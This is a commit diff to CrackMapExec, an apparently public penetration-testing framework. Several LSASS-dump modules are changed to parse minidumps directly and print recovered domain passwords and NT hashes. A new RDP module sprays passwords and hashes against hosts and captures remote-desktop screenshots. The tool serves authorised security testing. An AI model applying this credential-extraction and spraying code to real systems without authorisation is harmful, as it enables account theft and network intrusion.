Determine architecture using os_arch

main
Dimitri Lesy 2022-06-18 00:05:27 +02:00
commit e8fee88ac7
30 changed files with 1380 additions and 701 deletions

View File

@ -1,6 +1,12 @@
name: CrackMapExec Tests & Build
on: [push]
on:
workflow_dispatch:
branches: [ main ]
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
build:

2
.gitmodules vendored
View File

@ -27,4 +27,4 @@
url = https://github.com/huntergregal/mimipenguin
[submodule "cme/data/RID-Hijacking"]
path = cme/data/RID-Hijacking
url = https://github.com/r4wd3r/RID-Hijacking.git
url = https://github.com/r4wd3r/RID-Hijacking.git

View File

@ -7,7 +7,7 @@ from termcolor import colored
def gen_cli_args():
VERSION = '5.2.3'
VERSION = '5.2.6'
CODENAME = "The Dark Knight"
p_loader = protocol_loader()

View File

@ -93,13 +93,13 @@ class connection(object):
if self.create_conn_obj():
self.enum_host_info()
self.proto_logger()
self.print_host_info()
# because of null session
if self.login() or (self.username == '' and self.password == ''):
if hasattr(self.args, 'module') and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
if self.print_host_info():
# because of null session
if self.login() or (self.username == '' and self.password == ''):
if hasattr(self.args, 'module') and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
def call_cmd_args(self):
for k, v in vars(self.args).items():

View File

@ -75,6 +75,8 @@ async def run_protocol(loop, protocol_obj, args, db, target, jitter):
except asyncio.CancelledError:
logging.debug("Stopping thread")
thread.cancel()
except sqlite3.OperationalError as e:
logging.debug("Sqlite error - sqlite3.operationalError - {}".format(str(e)))
async def start_threadpool(protocol_obj, args, db, targets, jitter):
pool = ThreadPoolExecutor(max_workers=args.threads + 1)
@ -261,4 +263,4 @@ def main():
module_server.shutdown()
if __name__ == '__main__':
main()
main()

View File

@ -2,6 +2,7 @@
workspace = default
last_used_db = smb
pwn3d_label = Pwn3d!
audit_mode =
[BloodHound]
bh_enabled = False

View File

@ -28,7 +28,7 @@ def first_run_setup(logger):
logger.info('Creating home directory structure')
os.mkdir(CME_PATH)
folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts']
folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts', 'screenshots']
for folder in folders:
if not os.path.exists(os.path.join(CME_PATH, folder)):
os.mkdir(os.path.join(CME_PATH, folder))
@ -73,6 +73,8 @@ def first_run_setup(logger):
config.read(CONFIG_PATH)
config.get('CME', 'workspace')
config.get('CME', 'pwn3d_label')
config.get('CME', 'audit_mode')
config.get('BloodHound', 'bh_enabled')
except (NoSectionError, NoOptionError):
logger.info('Old configuration file detected, replacing with new version')
default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')

View File

@ -34,13 +34,13 @@ def add_user_bh(user, domain, logger, config):
logger.highlight("Node {} successfully set as owned in BloodHound".format(user_owned))
except AuthError as e:
logger.error(
"Provided Neo4J credentials ({}:{}) are not valid.".format(config.get('Bloodhound', 'bh_user'), config.get('Bloodhound', 'bh_pass')))
"Provided Neo4J credentials ({}:{}) are not valid.".format(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')))
return
except ServiceUnavailable as e:
logger.error("Neo4J does not seem to be available on {}.".format(uri))
return
except Exception as e:
logger.error("Unexpected error with Neo4J")
logger.error("Error : ".format(str(e)))
logger.error("Account not found on the domain")
return
driver.close()

View File

@ -1,6 +1,3 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
class CMEModule:
'''
Module by Shutdown and Podalirius
@ -22,13 +19,10 @@ class CMEModule:
opsec_safe = True
multiple_hosts = False
def on_login(self, context, connection):
def on_login(self, context, connection):
result = []
context.log.info('Getting the MachineAccountQuota')
searchFilter = '(objectClass=*)'
attributes = ['ms-DS-MachineAccountQuota']
result = connection.search(searchFilter, attributes, 1)
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
context.log.highlight("MachineAccountQuota: %d" % item['attributes'][0]['vals'][0])
result = connection.search(searchFilter, attributes)
context.log.highlight("MachineAccountQuota: %d" % result[0]['attributes'][0]['vals'][0])

View File

@ -0,0 +1,37 @@
from datetime import datetime
from cme.helpers.logger import write_log
import json
class CMEModule:
'''
Uses WMI to extract network connections, used to find multi-homed hosts.
Module by @fang0654
'''
name = 'get_netconnections'
description = 'Uses WMI to query network connections.'
supported_protocols = ['smb']
opsec_safe= True
multiple_hosts = True
def options(self, context, module_options):
'''
No options
'''
pass
def on_admin_login(self, context, connection):
data = []
cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
for c in cards:
if c['IPAddress'].get('value'):
context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}")
data.append(cards)
log_name = 'network-connections-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(json.dumps(data), log_name)
context.log.info("Saved raw output to {}".format(log_name))

View File

@ -122,29 +122,33 @@ class CMEModule:
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
context.log.info("pypykatz lsa minidump {} --outfile {}.txt".format(self.dir_result + machine_name + ".decode", self.dir_result + machine_name))
try:
context.log.info('Invoke pypykatz in order to extract the credentials ...')
os.system("pypykatz lsa minidump " + self.dir_result + machine_name + ".decode --outfile " + self.dir_result + machine_name + ".txt >/dev/null 2>&1")
context.log.info("Extracted credentials:")
with open(self.dir_result + machine_name + ".txt", 'r') as outfile:
data = outfile.read()
regex = r"(?:username:? (?!NA)(?P<username>.+[^\$])\n.*domain(?:name)?:? (?P<domain>.+)\n)(?:.*password:? (?!None)(?P<password>.+)|.*\n.*NT: (?P<hash>.*))"
matches = re.finditer(regex, data, re.MULTILINE | re.IGNORECASE)
with open(self.dir_result + machine_name + ".decode", 'rb') as dump:
try:
credentials = []
credz_bh = []
domain = ""
for match in matches:
domain = match.group("domain")
username = match.group("username")
password = match.group("password") or match.group("hash")
context.log.success(highlight(domain + "\\" + username + ":" + password))
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
if domain:
add_user_bh(credz_bh, domain, context.log, connection.config)
except Exception as e:
context.log.error('Error while execute pypykatz: {}'.format(e))
context.log.error('Please make sure pypykatz is installed (pip3 install pypykatz)')
pypy_parse = pypykatz.parse_minidump_external(dump)
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
'tspkg_creds']
for luid in pypy_parse.logon_sessions:
for ssp in ssps:
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
domain = getattr(cred, "domainname", None)
username = getattr(cred, "username", None)
password = getattr(cred, "password", None)
NThash = getattr(cred, "NThash", None)
if NThash is not None:
NThash = NThash.hex()
if username and (password or NThash) and "$" not in username:
print_pass = password if password else NThash
context.log.highlight(domain + "\\" + username + ":" + print_pass)
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
if len(credz_bh) > 0:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.error('Error openning dump file', str(e))

View File

@ -86,7 +86,7 @@ class CMEModule:
self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
self.print_credentials(context, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
credz_bh.append({'username': cred["username"].upper(), 'domain': domain.upper()})
add_user_bh(credz_bh, domain, context.log, connection.config)
add_user_bh(credz_bh, domain, context.log, connection.config)
@staticmethod
def print_credentials(context, domain, username, password, lmhash, nthash):

View File

@ -2,14 +2,9 @@
# author of the module : github.com/mpgn
# nanodump: https://github.com/helpsystems/nanodump
import os
import sys
import re
from io import StringIO
import base64
import random
import string
from cme.helpers.logger import highlight
from cme.helpers.bloodhound import add_user_bh
from pypykatz.pypykatz import pypykatz
class CMEModule:
@ -130,29 +125,32 @@ class CMEModule:
fh.seek(6)
fh.write(b'\x00\x00')
fh.close()
context.log.info('pypykatz lsa minidump "{}" --outfile "{}.txt"'.format(self.dir_result + nano_log_name, self.dir_result + nano_log_name))
try:
context.log.info('Invoke pypykatz in order to extract the credentials ...')
os.system('pypykatz lsa minidump "' + self.dir_result + nano_log_name + '" --outfile "' + self.dir_result + nano_log_name + '.txt" >/dev/null 2>&1')
context.log.info("Extracted credentials:")
with open(self.dir_result + nano_log_name + ".txt", 'r') as outfile:
data = outfile.read()
regex = r"(?:username:? (?!NA)(?P<username>.+[^\$])\n.*domain(?:name)?:? (?P<domain>.+)\n)(?:.*password:? (?!None)(?P<password>.+)|.*\n.*NT: (?P<hash>.*))"
matches = re.finditer(regex, data, re.MULTILINE | re.IGNORECASE)
with open(self.dir_result + machine_name, 'rb') as dump:
try:
credentials = []
credz_bh = []
domain = ""
for match in matches:
domain = match.group("domain")
username = match.group("username")
password = match.group("password") or match.group("hash")
context.log.success(highlight(domain + "\\" + username + ":" + password))
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
if domain:
add_user_bh(credz_bh, domain, context.log, connection.config)
except Exception as e:
context.log.error('Error while executing pypykatz: {}'.format(e))
context.log.error('Please make sure pypykatz is installed (pip3 install pypykatz)')
pypy_parse = pypykatz.parse_minidump_external(dump)
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
'tspkg_creds']
for luid in pypy_parse.logon_sessions:
for ssp in ssps:
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
domain = getattr(cred, "domainname", None)
username = getattr(cred, "username", None)
password = getattr(cred, "password", None)
NThash = getattr(cred, "NThash", None)
if NThash is not None:
NThash = NThash.hex()
if username and (password or NThash) and "$" not in username:
print_pass = password if password else NThash
context.log.highlight(domain + "\\" + username + ":" + print_pass)
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
if len(credz_bh) > 0:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.error('Error openning dump file', str(e))

View File

@ -4,11 +4,8 @@
# v0.4
from io import StringIO
import os
import sys
import re
import time
import base64
from pypykatz.pypykatz import pypykatz
class CMEModule:
@ -110,28 +107,31 @@ class CMEModule:
except Exception as e:
context.log.error('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e))
context.log.info("pypykatz lsa minidump {} --outfile {}.txt".format(self.dir_result + machine_name, self.dir_result + machine_name))
try:
context.log.info('Invoke pypykatz in order to extract the credentials ...')
os.system("pypykatz lsa minidump " + self.dir_result + machine_name + " --outfile " + self.dir_result + machine_name + ".txt >/dev/null 2>&1")
context.log.info("Extracted credentials:")
with open(self.dir_result + machine_name + ".txt", 'r') as outfile:
data = outfile.read()
regex = r"(?:username:? (?!NA)(?P<username>.+[^\$])\n.*domain(?:name)?:? (?P<domain>.+)\n)(?:.*password:? (?!None)(?P<password>.+)|.*\n.*NT: (?P<hash>.*))"
matches = re.finditer(regex, data, re.MULTILINE | re.IGNORECASE)
with open(self.dir_result + machine_name, 'rb') as dump:
try:
credentials = []
credz_bh = []
domain = ""
for match in matches:
domain = match.group("domain")
username = match.group("username")
password = match.group("password") or match.group("hash")
context.log.success(highlight(domain + "\\" + username + ":" + password))
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
if domain:
add_user_bh(credz_bh, domain, context.log, connection.config)
except Exception as e:
context.log.error('Error while execute pypykatz: {}'.format(e))
context.log.error('Please make sure pypykatz is installed (pip3 install pypykatz)')
pypy_parse = pypykatz.parse_minidump_external(dump)
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
'tspkg_creds']
for luid in pypy_parse.logon_sessions:
for ssp in ssps:
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
domain = getattr(cred, "domainname", None)
username = getattr(cred, "username", None)
password = getattr(cred, "password", None)
NThash = getattr(cred, "NThash", None)
if NThash is not None:
NThash = NThash.hex()
if username and (password or NThash) and "$" not in username:
print_pass = password if password else NThash
context.log.highlight(domain + "\\" + username + ":" + print_pass)
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
if len(credz_bh) > 0:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.error('Error openning dump file', str(e))

View File

@ -59,6 +59,7 @@ class ldap(connection):
ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
ldap_parser.add_argument("--no-smb", action='store_true', help='No smb connection')
dgroup = ldap_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
@ -109,51 +110,66 @@ class ldap(connection):
return 0
def enum_host_info(self):
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
self.conn.login('' , '')
except:
#if "STATUS_ACCESS_DENIED" in e:
pass
self.domain = self.conn.getServerDNSDomainName()
self.hostname = self.conn.getServerName()
self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
self.os_arch = self.get_os_arch()
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
self.output_filename = self.output_filename.replace(":", "-")
if not self.domain:
self.domain = self.hostname
try:
'''plaintext_login
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
(go home Windows, you're drunk)
'''
self.conn.logoff()
except:
pass
if self.args.domain:
# smb no open, specify the domain
if self.args.no_smb:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
#self.logger.extra['hostname'] = self.hostname
else:
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
#Re-connect since we logged off
self.create_conn_obj()
try:
self.conn.login('' , '')
except:
#if "STATUS_ACCESS_DENIED" in e:
pass
self.domain = self.conn.getServerDNSDomainName()
self.hostname = self.conn.getServerName()
self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
self.os_arch = self.get_os_arch()
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
self.output_filename = self.output_filename.replace(":", "-")
if not self.domain:
self.domain = self.hostname
try:
'''plaintext_login
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
(go home Windows, you're drunk)
'''
self.conn.logoff()
except:
pass
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
#Re-connect since we logged off
self.create_conn_obj()
def print_host_info(self):
self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
' x{}'.format(self.os_arch) if self.os_arch else '',
self.hostname,
self.domain,
self.signing,
self.smbv1))
if self.args.no_smb:
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389"
self.logger.info(u"Connecting to LDAP {}".format(self.hostname))
#self.logger.info(self.endpoint)
else:
self.logger.extra['protocol'] = "SMB"
self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
' x{}'.format(self.os_arch) if self.os_arch else '',
self.hostname,
self.domain,
self.signing,
self.smbv1))
self.logger.extra['protocol'] = "LDAP"
#self.logger.info(self.endpoint)
return True
def kerberos_login(self, domain, aesKey, kdcHost):
@ -238,13 +254,14 @@ class ldap(connection):
# Connect to LDAP
out = u'{}{}:{} {}'.format('{}\\'.format(domain),
username,
password,
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389"
self.logger.success(out)
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
@ -261,14 +278,14 @@ class ldap(connection):
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
self.username,
self.password,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red')
else:
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
self.username,
self.password,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red')
return False
@ -276,7 +293,7 @@ class ldap(connection):
except OSError as e:
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
self.username,
self.password,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
return False
@ -327,13 +344,14 @@ class ldap(connection):
self.check_if_admin()
out = u'{}{}:{} {}'.format('{}\\'.format(domain),
username,
nthash,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389"
self.logger.success(out)
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except ldap_impacket.LDAPSessionError as e:
@ -349,21 +367,21 @@ class ldap(connection):
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
self.username,
self.password,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red')
else:
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
self.username,
self.password,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red')
return False
except OSError as e:
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
self.username,
self.nthash,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
return False
@ -394,12 +412,14 @@ class ldap(connection):
return True
def create_conn_obj(self):
if self.create_smbv1_conn():
if not self.args.no_smb:
if self.create_smbv1_conn():
return True
elif self.create_smbv3_conn():
return True
return False
else:
return True
elif self.create_smbv3_conn():
return True
return False
def sid_to_str(self, sid):

View File

@ -93,7 +93,7 @@ class LDAPConnect:
return False
except OSError as e:
self.logger.error(u'{}\\{}:{} {}'.format(domain,
self.logger.debug(u'{}\\{}:{} {}'.format(domain,
username,
password if password else ntlm_hash,
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))

View File

@ -175,16 +175,17 @@ class mssql(connection):
out = u'{}{}:{} {}'.format('{}\\'.format(domain) if not self.args.local_auth else '',
username,
password,
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.success(out)
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except Exception as e:
self.logger.error(u'{}\\{}:{} {}'.format(domain,
username,
password,
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
e))
return False
@ -221,16 +222,17 @@ class mssql(connection):
out = u'{}\\{} {} {}'.format(domain,
username,
ntlm_hash,
ntlm_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.success(out)
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except Exception as e:
self.logger.error(u'{}\\{}:{} {}'.format(domain,
username,
ntlm_hash,
ntlm_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
e))
return False

215
cme/protocols/rdp.py Normal file
View File

@ -0,0 +1,215 @@
import logging
import asyncio
from cme.connection import *
from cme.helpers.logger import highlight
from cme.logger import CMEAdapter
try:
from aardwolf import logger
from aardwolf.commons.url import RDPConnectionURL
from aardwolf.commons.iosettings import RDPIOSettings
from aardwolf.protocol.x224.constants import SUPP_PROTOCOLS
from aardwolf.commons.queuedata.constants import MOUSEBUTTON, VIDEO_FORMAT
except ImportError:
print("aardwolf librairy is missing, you need to install the submodule")
print("run the command: ")
exit()
logger.setLevel(logging.CRITICAL)
rdp_error_status = {
'-1073741711': 'STATUS_PASSWORD_EXPIRED',
'-1073741260': 'STATUS_ACCOUNT_LOCKED_OUT',
'-1073741710' : 'STATUS_ACCOUNT_DISABLED',
'-1073741421' : 'STATUS_ACCOUNT_EXPIRED',
'-1073741714' : 'STATUS_ACCOUNT_RESTRICTION',
'-1073741713' : 'STATUS_INVALID_LOGON_HOURS',
'-1073741712' : 'STATUS_INVALID_WORKSTATION',
'-1073741477' : 'STATUS_LOGON_TYPE_NOT_GRANTED',
'-1073741276' : 'STATUS_PASSWORD_MUST_CHANGE',
'-1073741790' : 'STATUS_ACCESS_DENIED',
'-1073741715' : 'STATUS_LOGON_FAILURE'
}
class rdp(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.iosettings = RDPIOSettings()
self.iosettings.supported_protocols = ""
self.protoflags = self.protoflags = [SUPP_PROTOCOLS.RDP, SUPP_PROTOCOLS.SSL, SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP, SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.HYBRID, SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.HYBRID_EX]
self.iosettings.channels = []
width, height = args.res.upper().split('X')
height = int(height)
width = int(width)
self.iosettings.video_width = width
self.iosettings.video_height = height
self.iosettings.video_bpp_min = 15 #servers dont support 8 any more :/
self.iosettings.video_bpp_max = 32
self.iosettings.video_out_format = VIDEO_FORMAT.PNG #PIL produces incorrect picture for some reason?! TODO: check bug
self.iosettings.clipboard_use_pyperclip = False
self.output_filename = None
self.domain = None
self.server_os = None
self.url = None
self.nla = True
self.hybrid = False
connection.__init__(self, args, db, host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
rdp_parser = parser.add_parser('rdp', help="own stuff using RDP", parents=[std_parser, module_parser])
rdp_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
rdp_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
rdp_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port")
rdp_parser.add_argument("--rdp-timeout", type=int, default=1, help="RDP timeout on socket connection")
dgroup = rdp_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
egroup.add_argument('--screentime', type=int, default=10, help='Time to wait for desktop image')
egroup.add_argument('--res', default='1024x768', help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"')
return parser
def proto_flow(self):
if self.create_conn_obj():
self.proto_logger()
self.print_host_info()
if self.login():
if hasattr(self.args, 'module') and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
def proto_logger(self):
self.logger = CMEAdapter(extra={'protocol': 'RDP',
'host': self.host,
'port': '3389',
'hostname': self.hostname})
def print_host_info(self):
if self.domain == None:
self.logger.info(u"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{})".format(self.nla))
else:
self.logger.info(u"{} (name:{}) (domain:{}) (nla:{})".format(self.server_os,
self.hostname,
self.domain,
self.nla))
def create_conn_obj(self):
for proto in self.protoflags:
try:
self.iosettings.supported_protocols = proto
self .url = 'rdp+ntlm-password://FAKE\\user:pass@' + self.host
asyncio.run(self.connect_rdp(self.url))
if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP":
self.nla = False
except OSError as e:
if "Errno 104" not in str(e):
return False
except Exception as e:
if "TCPSocket" in str(e):
return False
if "Reason:" not in str(e):
info_domain = self.conn.get_extra_info()
self.domain = info_domain['dnsdomainname']
self.hostname = info_domain['computername']
self.server_os = info_domain['os_guess'] + " Build " + str(info_domain['os_build'])
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
self.output_filename = self.output_filename.replace(":", "-")
break
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.args.domain
return True
async def connect_rdp(self, url):
rdpurl = RDPConnectionURL(url)
self.conn = rdpurl.get_connection(self.iosettings)
_, err = await self.conn.connect()
if err is not None:
raise err
return True
def plaintext_login(self, domain, username, password):
try:
self.url = 'rdp+ntlm-password://' + domain + '\\' + username + ':' + password + '@' + self.host
asyncio.run(self.connect_rdp(self.url))
self.admin_privs = True
self.logger.success(u'{}\\{}:{} {}'.format(domain,
username,
password,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
if not self.args.local_auth:
add_user_bh(username, domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except Exception as e:
reason = None
for word in rdp_error_status.keys():
if word in str(e):
reason = rdp_error_status[word]
self.logger.error(u'{}\\{}:{} {}'.format(domain,
username,
password,
'({})'.format(reason) if reason else ''),
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red')
return False
def hash_login(self, domain, username, ntlm_hash):
try:
self.url = 'rdp+ntlm-nt://' + domain + '\\' + username + ':' + ntlm_hash + '@' + self.host
asyncio.run(self.connect_rdp(self.url))
self.admin_privs = True
self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
username,
ntlm_hash,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
if not self.args.local_auth:
add_user_bh(username, domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except Exception as e:
reason = None
for word in rdp_error_status.keys():
if word in str(e):
reason = rdp_error_status[word]
self.logger.error(u'{}\\{}:{} {}'.format(domain,
username,
ntlm_hash,
'({})'.format(reason) if reason else ''),
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red')
return False
async def screen(self):
await self.connect_rdp(self.url)
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = os.path.expanduser('~/.cme/screenshots/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
buffer.save(filename,'png')
self.logger.highlight("Screenshot saved {}".format(filename + ".png"))
def screenshot(self):
print("ddd", self.url)
asyncio.run(self.screen())

View File

View File

@ -0,0 +1,21 @@
class database:
def __init__(self, conn):
self.conn = conn
@staticmethod
def db_schema(db_conn):
db_conn.execute('''CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"username" text,
"password" text,
"pkey" text
)''')
db_conn.execute('''CREATE TABLE "hosts" (
"id" integer PRIMARY KEY,
"ip" text,
"hostname" text,
"port" integer,
"server_banner" text
)''')

View File

@ -0,0 +1,5 @@
from cme.cmedb import DatabaseNavigator
class navigator(DatabaseNavigator):
pass

View File

@ -55,6 +55,17 @@ smb_error_status = [
"STATUS_NO_SUCH_FILE"
]
def get_error_string(exception):
if hasattr(exception, 'getErrorString'):
es = exception.getErrorString()
if type(es) is tuple:
return es[0]
else:
return es
else:
return str(exception)
def requires_smb_server(func):
def _decorator(self, *args, **kwargs):
global smb_server
@ -138,7 +149,7 @@ class smb(connection):
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE', help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 3 secondes", type=int, default=2)
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
smb_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification", nargs='?', const='administrator')
